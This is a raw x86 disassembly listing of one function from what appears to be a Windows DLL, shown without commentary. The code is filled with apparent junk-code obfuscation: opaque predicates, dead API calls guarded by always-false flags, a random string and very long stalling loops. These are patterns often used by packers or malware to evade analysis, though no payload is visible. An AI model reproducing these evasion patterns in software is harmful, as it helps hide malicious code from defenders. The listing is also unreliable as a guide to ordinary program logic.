mov dword [ebp - 0xd0], 0x7e4a9061
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0xdd8], 0xd0c653dd
mov dword [ebp - 0xde0], 1
mov dword [ebp - 0x4dc], 7
mov dword [ebp - 0x278], 0
jmp 0x10018894
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 4
jge 0x100188b0
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0x105c], 3
jmp 0x10018887
mov dword [ebp - 0x68], 0xfffffff6
jmp 0x100188c0
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffef
jle 0x10018a67
mov dword [ebp - 0x48c], 0xffffffff
mov dword [ebp - 0x494], 0xa1245c81
mov dword [ebp - 0x128], 0xfffffff9
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x1001890c
push 0
push 0x10e8
push 0x1431
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0x128]
add eax, 8
je 0x10018932
cmp dword [ebp - 0x68], 0
je 0x10018932
mov dword [ebp - 0x994], 1
jmp 0x10018939
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xdf0], eax
mov eax, 0x1dbcabeb
add eax, 0x10
mov ecx, dword [ebp - 0x128]
imul ecx, eax
sub ecx, dword [ebp - 0x128]
cmp ecx, 0xffffffff
jb 0x1001896a
mov dword [ebp - 0x49c], 1
jmp 0x10018971
and dword [ebp - 0x49c], 0
mov dword [ebp - 0x48c], 1
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0x49c]
cmp eax, dword [ebp - 0x68]
jg 0x100189b0
mov dword [ebp - 0x4a4], 1
jmp 0x100189b7
and dword [ebp - 0x4a4], 0
imul eax, dword [ebp - 0x4ac], 0
cmp eax, dword [ebp - 0x4ac]
je 0x100189d2
mov dword [ebp - 0x4b4], 1
jmp 0x100189d9
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x4b4]
neg eax
cmp eax, 0x4d71b36c
jl 0x100189f4
mov dword [ebp - 0x4bc], 1
jmp 0x100189fb
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x4bc], eax
jg 0x10018a12
mov dword [ebp - 0x4c4], 1
jmp 0x10018a19
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 1
jl 0x10018a2e
mov dword [ebp - 0x4cc], 1
jmp 0x10018a35
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x4cc], eax
jg 0x10018a4f
mov dword [ebp - 0x4d4], 1
jmp 0x10018a56
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x128], eax
jmp 0x100188b9
mov dword [ebp - 0xd0], 0
jmp 0x10018a80
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xfffffffd
jge 0x10018af8
mov dword [ebp - 0xdf8], 1
mov dword [ebp - 0xe04], 0xfffffffa
mov dword [ebp - 0xe0c], 0xfffffff9
mov dword [ebp - 0xe14], 0x65d63260
mov dword [ebp - 0x280], 0
jmp 0x10018aca
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 1
jge 0x10018ae6
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0xe1c], 1
jmp 0x10018abd
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
jmp 0x10018a73
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0xaec], 0
mov dword [ebp - 0x51c], 0xfffffffc
mov dword [ebp - 0x9a0], 8
mov dword [ebp - 0x288], 0
jmp 0x10018b33
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 3
jge 0x10018b4f
mov eax, dword [ebp - 0x288]
mov dword [ebp + eax*4 - 0x108], 0
jmp 0x10018b26
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x108], 0xfffffff6
jmp 0x10018b7a
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x108]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x108], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x108], 0x11
je 0x10018bb2
mov byte [ebp - 0x8e], 0
movzx eax, byte [ebp - 0x8e]
test eax, eax
je 0x10018bb0
push 0x24a5
push 0x69a
push 0xd27
call dword [sym.imp.KERNEL32.dll_MulDiv]
jmp 0x10018b61
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x108]
mov dword [ebp - 0xe24], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x108], 0
jg 0x10018be0
mov dword [ebp - 0x4e4], 1
jmp 0x10018be7
and dword [ebp - 0x4e4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x108]
cmp dword [ebp - 0x4e4], eax
jl 0x10018c07
mov dword [ebp - 0x4ec], 1
jmp 0x10018c0e
and dword [ebp - 0x4ec], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x108]
cmp dword [ebp - 0x4ec], eax
je 0x10018c2e
mov dword [ebp - 0x4f4], 1
jmp 0x10018c35
and dword [ebp - 0x4f4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x108]
cmp dword [ebp - 0x4f4], eax
je 0x10018c56
mov dword [ebp - 0x4fc], 1
jmp 0x10018c5d
and dword [ebp - 0x4fc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x108]
cmp dword [ebp - 0x4fc], eax
je 0x10018c7e
mov dword [ebp - 0x504], 1
jmp 0x10018c85
and dword [ebp - 0x504], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x108]
add eax, dword [ebp - 0x504]
jne 0x10018cb1
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x108], 0
jne 0x10018cb1
and dword [ebp - 0x50c], 0
jmp 0x10018cbb
mov dword [ebp - 0x50c], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x50c]
sub ecx, 0x620041a8
cmp ecx, dword [ebp + eax - 0x108]
jl 0x10018ce1
mov dword [ebp - 0x514], 1
jmp 0x10018ce8
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x51c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x51c]
cmp ecx, dword [ebp + eax - 0x108]
jne 0x10018d14
mov dword [ebp - 0x524], 1
jmp 0x10018d1b
and dword [ebp - 0x524], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
push 4
pop edx
shl edx, 0
mov edx, dword [ebp + edx - 0x108]
add edx, dword [ebp - 0x524]
imul edx, dword [ebp + ecx - 0x108]
cmp edx, dword [ebp + eax - 0x108]
jge 0x10018d56
mov dword [ebp - 0x9ec], 1
jmp 0x10018d5d
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x9a0]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x108], eax
lea eax, [ebp - 0xaec]
push eax
lea ecx, [ebp - 0xeac]
call fcn.1001e5a7
mov dword [ebp - 4], 0x45
mov dword [ebp - 0xac], 0xffffffff
mov dword [ebp - 0x9f4], 0xe5dc64f6
mov dword [ebp - 0x55c], 0xfffffff9
mov dword [ebp - 0x290], 0
jmp 0x10018dc0
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 3
jge 0x10018ddc
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0xe4c], 0x836ea0e4
jmp 0x10018db3
mov dword [ebp - 0xac], 0xffffffe7
jmp 0x10018df5
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xd
jg 0x10018f9d
mov dword [ebp - 0xdc], 1
mov dword [ebp - 0x298], 7
mov dword [ebp - 0x534], 0x1dd2eb2f
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xe2c], eax
cmp dword [ebp - 0xdc], 0
je 0x10018e78
mov dword [ebp - 0x298], 0x9f59
mov eax, dword [ebp - 0x298]
cmp eax, dword [ebp - 0xdc]
jg 0x10018e59
mov dword [ebp - 0x52c], 1
jmp 0x10018e60
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x534], eax
mov eax, dword [ebp - 0x534]
cmp eax, dword [ebp - 0xac]
cmp dword [ebp - 0xac], 0x7319
jle 0x10018e99
cmp dword [ebp - 0x298], 0
je 0x10018e99
mov dword [ebp - 0x53c], 1
jmp 0x10018ea0
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
add eax, 0xffff
cmp eax, 0xfffffff9
jbe 0x10018ebc
mov dword [ebp - 0x544], 1
jmp 0x10018ec3
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x9f4]
cmp eax, dword [ebp - 0xdc]
jne 0x10018eec
mov eax, 0x8f1fe3d2
test eax, eax
je 0x10018eec
mov dword [ebp - 0x54c], 1
jmp 0x10018ef3
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 0x715f
jne 0x10018f0b
mov dword [ebp - 0x554], 1
jmp 0x10018f12
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0
jne 0x10018f39
cmp dword [ebp - 0x298], 0
jne 0x10018f39
and dword [ebp - 0x564], 0
jmp 0x10018f43
mov dword [ebp - 0x564], 1
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x564], eax
jge 0x10018f5d
mov dword [ebp - 0x56c], 1
jmp 0x10018f64
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0x56c]
jl 0x10018f7e
mov dword [ebp - 0x574], 1
jmp 0x10018f85
and dword [ebp - 0x574], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x574]
mov dword [ebp + eax - 0xe4c], ecx
jmp 0x10018de8
and dword [ebp - 0x2a8], 0
jmp 0x10018fb3
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0xf
jae 0x10019291
mov dword [ebp - 0x9b8], 0xbeb0647d
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x110], 0xfffffffa
mov dword [ebp - 0x2a0], 0
jmp 0x10018ff4
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 2
jge 0x10019010
mov eax, dword [ebp - 0x2a0]
mov dword [ebp + eax*4 - 0x138], 1
jmp 0x10018fe7
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xe34], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x57c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x57c]
mov dword [ebp + eax - 0x138], ecx
cmp dword [ebp - 0x57c], 0
je 0x10019050
cmp dword [ebp - 0x110], 0
jne 0x10019050
and dword [ebp - 0x584], 0
jmp 0x1001905a
mov dword [ebp - 0x584], 1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x584]
jne 0x10019071
mov dword [ebp - 0x9ac], 1
jmp 0x10019078
and dword [ebp - 0x9ac], 0
cmp dword [ebp - 0x110], 0xc383
jle 0x10019090
mov dword [ebp - 0x9fc], 1
jmp 0x10019097
and dword [ebp - 0x9fc], 0
cmp dword [ebp - 0x110], 0xdd013d0
jl 0x100190af
mov dword [ebp - 0x58c], 1
jmp 0x100190b6
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x9b8]
imul eax, dword [ebp - 0x58c]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x18], 0
jmp 0x100190d9
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jg 0x1001927e
mov dword [ebp - 0x388], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x138]
mov dword [ebp - 0xd50], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
imul edx, dword [ebp + edx*4 - 0x138], 0x2daf
imul edx, dword [ebp + ecx*4 - 0x138]
imul ecx, edx, 0xfaa9
cmp ecx, dword [ebp + eax*4 - 0x138]
jge 0x10019134
mov dword [ebp - 0x594], 1
jmp 0x1001913b
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x138]
cmp dword [ebp - 0x594], eax
jg 0x10019159
mov dword [ebp - 0x59c], 1
jmp 0x10019160
and dword [ebp - 0x59c], 0
imul eax, dword [ebp - 0x59c], 0x3393
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0xd94], eax
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x138], 0xb281
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x138]
imul ecx, eax
cmp ecx, 1
jl 0x100191ab
mov dword [ebp - 0x5a4], 1
jmp 0x100191b2
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x138]
cmp dword [ebp - 0x5a4], eax
jle 0x100191d0
mov dword [ebp - 0x5ac], 1
jmp 0x100191d7
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffffc
pop ecx
sub ecx, dword [ebp - 0x5ac]
cmp ecx, dword [ebp + eax*4 - 0x138]
jle 0x100191f8
mov dword [ebp - 0x5b4], 1
jmp 0x100191ff
and dword [ebp - 0x5b4], 0
cmp dword [ebp - 0x5b4], 0xa814
jg 0x10019217
mov dword [ebp - 0x5bc], 1
jmp 0x1001921e
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x5bc], eax
jge 0x10019241
cmp dword [ebp - 0x388], 0
je 0x10019241
mov dword [ebp - 0x5c4], 1
jmp 0x10019248
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x5c4], eax
jge 0x1001925f
mov dword [ebp - 0x5cc], 1
jmp 0x10019266
and dword [ebp - 0x5cc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5cc]
mov dword [ebp + eax - 0x138], ecx
jmp 0x100190d2
mov eax, dword [ebp - 0x2a8]
mov byte [ebp + eax - 0xaec], 0
jmp 0x10018fa6
push 1
push 0
lea eax, [ebp - 0xeac]
push eax
push dword [ebp - 0x5d4]
call fcn.1001a45f
add esp, 0x10
mov dword [0x10072f84], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xeac]
call fcn.1000cc5c
mov dword [ebp - 0x2b8], 0xdb3ae355
mov dword [ebp - 0xa04], 0x513244d5
mov dword [ebp - 0x2b0], 0
jmp 0x100192eb
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 2
jge 0x10019307
mov eax, dword [ebp - 0x2b0]
mov dword [ebp + eax*4 - 0xe84], 8
jmp 0x100192de
mov dword [ebp - 0x2b8], 0
jmp 0x10019320
mov eax, dword [ebp - 0x2b8]
dec eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0xfffffff6
je 0x100193f2
mov dword [ebp - 0x2c0], 0x83111738
mov byte [ebp - 0xbc], 0
movzx eax, byte [ebp - 0xbc]
test eax, eax
je 0x10019351
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [ebp - 0x2c0], 0
jmp 0x1001936a
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 1
jg 0x100193ed
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x78], 0
jmp 0x1001938a
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jg 0x100193b4
mov dword [ebp - 0xa04], 0xffffffff
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x100193b2
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x10019383
mov dword [ebp - 0x78], 1
jmp 0x100193c4
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x100193e8
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x100193e6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x100193bd
jmp 0x1001935d
jmp 0x10019313
cmp dword [0x10072f84], 0
je 0x1001a44c
push 2
lea ecx, [ebp - 0x330]
call fcn.100018bd
mov dword [ebp - 4], 0x46
mov dword [ebp - 0x24], 0x8e5ccc90
mov dword [ebp - 0x5fc], 1
mov dword [ebp - 0xc44], 0xffffffff
mov dword [ebp - 0xc40], 0xffffffff
mov dword [ebp - 0xc3c], 0xffffffff
mov dword [ebp - 0xc38], 0xffffffff
mov dword [ebp - 0xaa8], 0x9fabaf1b
mov dword [ebp - 0x2c8], 0
jmp 0x1001946f
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 2
jge 0x10019491
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0x330]
call fcn.1000195c
mov dword [eax], 0xdf75dcec
jmp 0x10019462
mov dword [ebp - 0x24], 1
jmp 0x100194a1
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x10019707
mov dword [ebp - 0x5dc], 0x75507304
mov dword [ebp - 0xa0c], 0x5dfcc9f7
push dword [ebp - 0x24]
lea ecx, [ebp - 0x330]
call fcn.1000195c
cmp dword [eax], 0
jne 0x100195c6
push 1
lea ecx, [ebp - 0x330]
call fcn.1000195c
cmp dword [eax], 0
je 0x1001952a
mov dword [ebp - 0x5dc], 0xdd664087
mov esi, dword [ebp - 0x5dc]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x330]
call fcn.1000195c
cmp esi, dword [eax]
je 0x10019518
push dword [ebp - 0x24]
lea ecx, [ebp - 0x330]
call fcn.1000195c
cmp dword [ebp - 0x24], 0
je 0x1001952a
mov dword [ebp - 0x5e4], 1
jmp 0x10019531
and dword [ebp - 0x5e4], 0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x330]
call fcn.1000195c
mov ecx, dword [ebp - 0x5e4]
cmp ecx, dword [eax]
jg 0x10019555
mov dword [ebp - 0x5ec], 1
jmp 0x1001955c
and dword [ebp - 0x5ec], 0
cmp dword [ebp - 0x5ec], 0
jae 0x10019571
mov dword [ebp - 0x5f4], 1
jmp 0x10019578
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x5fc], eax
mov eax, dword [ebp - 0x5fc]
add eax, dword [ebp - 0x24]
cmp eax, 2
je 0x1001959e
mov dword [ebp - 0x604], 1
jmp 0x100195a5
and dword [ebp - 0x604], 0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x330]
call fcn.1000195c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x604]
jge 0x100195c6
and dword [ebp - 0x60c], 0
jmp 0x100195d0
mov dword [ebp - 0x60c], 1
push 1
lea ecx, [ebp - 0x330]
call fcn.1000195c
mov ecx, dword [ebp - 0x60c]
cmp ecx, dword [eax]
jle 0x100195f3
mov dword [ebp - 0x390], 1
jmp 0x100195fa
and dword [ebp - 0x390], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x390]
mov dword [ebp + eax - 0xc44], ecx
imul esi, dword [ebp - 0x390], 0xb8f1
push dword [ebp - 0x24]
lea ecx, [ebp - 0x330]
call fcn.1000195c
cmp dword [eax], esi
jg 0x10019635
mov dword [ebp - 0x614], 1
jmp 0x1001963c
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0x2f55126e
je 0x10019654
mov dword [ebp - 0x61c], 1
jmp 0x1001965b
and dword [ebp - 0x61c], 0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x330]
call fcn.1000195c
mov ecx, dword [ebp - 0x61c]
cmp ecx, dword [eax]
jl 0x1001967f
mov dword [ebp - 0x624], 1
jmp 0x10019686
and dword [ebp - 0x624], 0
push 0
lea ecx, [ebp - 0x330]
call fcn.1000195c
mov esi, dword [ebp - 0x624]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x330]
call fcn.1000195c
cmp esi, dword [eax]
jne 0x100196b9
mov dword [ebp - 0x62c], 1
jmp 0x100196c0
and dword [ebp - 0x62c], 0
push 1
lea ecx, [ebp - 0x330]
call fcn.1000195c
mov ecx, dword [ebp - 0x62c]
cmp ecx, dword [eax]
jge 0x100196ec
cmp dword [ebp - 0xa0c], 0
je 0x100196ec
mov dword [ebp - 0x634], 1
jmp 0x100196f3
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x634]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0xaa8], eax
jmp 0x1001949a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x330]
call fcn.10001940
mov eax, dword [ebp + 8]
mov dword [ebp - 0xab0], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x9d8], eax
push 3
lea ecx, [ebp - 0x7fc]
call fcn.100018bd
mov dword [ebp - 4], 0x47
mov dword [ebp - 0x2d0], 0
jmp 0x10019755
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 3
jge 0x10019777
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0x7fc]
call fcn.1000195c
mov dword [eax], 0x7ddc85f7
jmp 0x10019748
push 1
lea ecx, [ebp - 0x7fc]
call fcn.1000195c
and dword [eax], 0
jmp 0x100197ad
push 1
lea ecx, [ebp - 0x7fc]
call fcn.1000195c
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x63c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x7fc]
call fcn.1000195c
cmp dword [eax], 4
jne 0x10019a27
push 3
lea ecx, [ebp - 0xb14]
call fcn.100018bd
mov byte [ebp - 4], 0x48
mov dword [ebp - 0xa48], 0x14a5ea96
mov dword [ebp - 0x2d8], 0
jmp 0x100197f7
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 3
jge 0x10019819
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0xb14]
call fcn.1000195c
mov dword [eax], 1
jmp 0x100197ea
mov dword [ebp - 0x654], 0x2d36
mov dword [ebp - 0x9d0], str.eqhtjiy_teko_obccbpgsp_vuvd_nwgslj_uvh_hnh_rwx_ltvkg
cmp dword [ebp - 0x654], 0x30a4
jle 0x10019955
and dword [ebp - 0x2f8], 0
jmp 0x10019853
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0xc16
jge 0x10019945
and dword [ebp - 0x2e0], 0
jmp 0x10019879
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x6bff
jge 0x10019940
and dword [ebp - 0x2e8], 0
jmp 0x1001989f
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x4e2c
jge 0x1001993b
and dword [ebp - 0x2f0], 0
jmp 0x100198c5
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x1598
jge 0x10019936
mov ecx, dword [ebp - 0x2e0]
add ecx, dword [ebp - 0x2e8]
add ecx, dword [ebp - 0x2f0]
mov eax, dword [ebp - 0x2f8]
sar eax, cl
cdq
mov dword [ebp - 0x9b4], eax
mov dword [ebp - 0x9b0], edx
push dword [ebp - 0x9b0]
push dword [ebp - 0x9b4]
lea ecx, [ebp - 0xfec]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x9c8], eax
mov ecx, dword [ebp - 0x9c8]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xfec]
call fcn.10003dc0
jmp 0x100198b8
jmp 0x10019892
jmp 0x1001986c
jmp 0x10019846
push 0x208a
push 0x20c9
call dword [sym.imp.GDI32.dll_RestoreDC]
mov eax, 0x6d058a83
test eax, eax
je 0x1001997c
push 1
lea ecx, [ebp - 0xb14]
call fcn.1000195c
cmp dword [eax], 1
jle 0x1001997c
mov dword [ebp - 0x644], 1
jmp 0x10019983
and dword [ebp - 0x644], 0
push 1
lea ecx, [ebp - 0xb14]
call fcn.1000195c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x644]
jl 0x100199b8
push 0
lea ecx, [ebp - 0x7fc]
call fcn.1000195c
cmp dword [eax], 0
je 0x100199b8
mov dword [ebp - 0x64c], 1
jmp 0x100199bf
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0xa48], eax
mov byte [ebp - 4], 0x49
cmp dword [ebp - 0x654], 0x29a3
jge 0x100199e7
push dword [ebp - 0x9d0]
call fcn.1003eb1f
pop ecx
jmp 0x10019a03
mov dword [ebp - 4], 0x48
jmp 0x10019a13
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0xb14]
call fcn.10001940
jmp 0x10019789
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7fc]
call fcn.10001940
mov eax, dword [ebp - 0xab0]
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x118], 0
push 1
lea ecx, [ebp - 0x814]
call fcn.100018bd
mov dword [ebp - 4], 0x4b
mov dword [ebp - 0x300], 0
jmp 0x10019a79
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 1
jge 0x10019a9b
push dword [ebp - 0x300]
lea ecx, [ebp - 0x814]
call fcn.1000195c
mov dword [eax], 0x3cdf98a5
jmp 0x10019a6c
mov dword [ebp - 0x118], 0
jmp 0x10019ab4
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x16
jne 0x10019e5f
mov dword [ebp - 0xbe4], 0xefc07e17
mov dword [ebp - 0xbe0], 0xefc07e17
mov dword [ebp - 0xbdc], 0xefc07e17
mov dword [ebp - 0xbd8], 0xefc07e17
lea ecx, [ebp - 0x3dd]
call fcn.1000196b
push eax
lea eax, [ebp - 0xbd4]
push eax
lea eax, [ebp - 0xbe4]
push eax
lea ecx, [ebp - 0xe6c]
call fcn.1000196e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x7a0]
call fcn.1000191a
mov byte [ebp - 4], 0x4c
mov dword [ebp - 0xe4], 1
push 2
lea ecx, [ebp - 0x7a0]
call fcn.1000195c
and dword [eax], 0
jmp 0x10019b62
push 2
lea ecx, [ebp - 0x7a0]
call fcn.1000195c
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x65c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x65c]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x7a0]
call fcn.1000195c
cmp dword [eax], 0
jl 0x10019e27
mov dword [ebp - 0xc24], 0xfffffffc
mov dword [ebp - 0xc20], 0xfffffffc
mov dword [ebp - 0xc1c], 0xfffffffc
mov dword [ebp - 0xc18], 0xfffffffc
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xc80], 0x7a23a340
mov dword [ebp - 0x308], 0
jmp 0x10019bcd
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 2
jge 0x10019be9
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0xe00], 4
jmp 0x10019bc0
push 0
lea ecx, [ebp - 0x814]
call fcn.1000195c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc24]
cmp eax, dword [ebp - 0xe4]
jg 0x10019c17
mov dword [ebp - 0x664], 1
jmp 0x10019c1e
and dword [ebp - 0x664], 0
push 2
lea ecx, [ebp - 0x7a0]
call fcn.1000195c
push dword [eax]
lea ecx, [ebp - 0x814]
call fcn.1000195c
mov ecx, dword [ebp - 0x664]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xde4], eax
push 2
lea ecx, [ebp - 0x7a0]
call fcn.1000195c
mov esi, eax
push 0
lea ecx, [ebp - 0x814]
call fcn.1000195c
mov eax, dword [eax]
sub eax, dword [esi]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x60016488
jl 0x10019c8a
mov dword [ebp - 0x66c], 1
jmp 0x10019c91
and dword [ebp - 0x66c], 0
cmp dword [ebp - 0x66c], 0x33147f59
